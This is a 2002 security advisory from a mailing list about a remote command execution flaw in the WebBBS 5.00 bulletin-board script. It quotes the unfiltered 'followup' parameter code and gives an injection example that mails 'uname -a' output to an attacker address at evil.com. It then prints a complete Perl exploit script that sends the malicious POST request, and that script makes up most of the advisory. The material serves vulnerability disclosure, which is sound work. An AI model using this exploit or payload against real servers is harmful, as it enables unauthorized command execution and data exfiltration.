[UNIX] WebBBS Remote Command Execution

From: support@securiteam.com
Date: 06/19/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 19 Jun 2002 08:24:26 +0200 (CEST)

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  WebBBS Remote Command Execution
------------------------------------------------------------------------

SUMMARY

 <http://awsd.com/scripts/webbbs/> WebBBS is, as the name implies, a
Web-based bulletin board. WebBBS script allows command execution on
server. This script does no filtering and due to this remote command
execution is possible.

DETAILS

Vulnerable systems:
 * WebBBS version 5.00

Vulnerable code:
The vulnerable code is shown below:
webbbs_post.pl:
..
if ($FORM{'followup'}) { $followup =
"$FORM{'followup'}"; }
..
if ($followup) {
..
$subdir = "bbs".int($followup/1000);
open (FOLLOWUP,"$dir/$subdir/$followup");
..

Example:
Just change the value of $followup variable, e.g:
"followup=10" to
"followup=10;uname -a|mail zlo@evil.com|" to exploit this vulnerability.

Exploit code:
#!/usr/bin/perl
#
# nerF gr0up
#
# exploit code for
# WebBBS by Darryl C. Burgdorf
# all version up to 5.00 are vulnerable
#
#
# this is an exploitation of "followup" bug.
# it allows remote attacker to execute shell
commands.
# you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
# 06.06.2002
# btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);
        
$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

print "\tnerF gr0up\n";
print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:vipersv@mail.ru> nerf gr0up
nerf.

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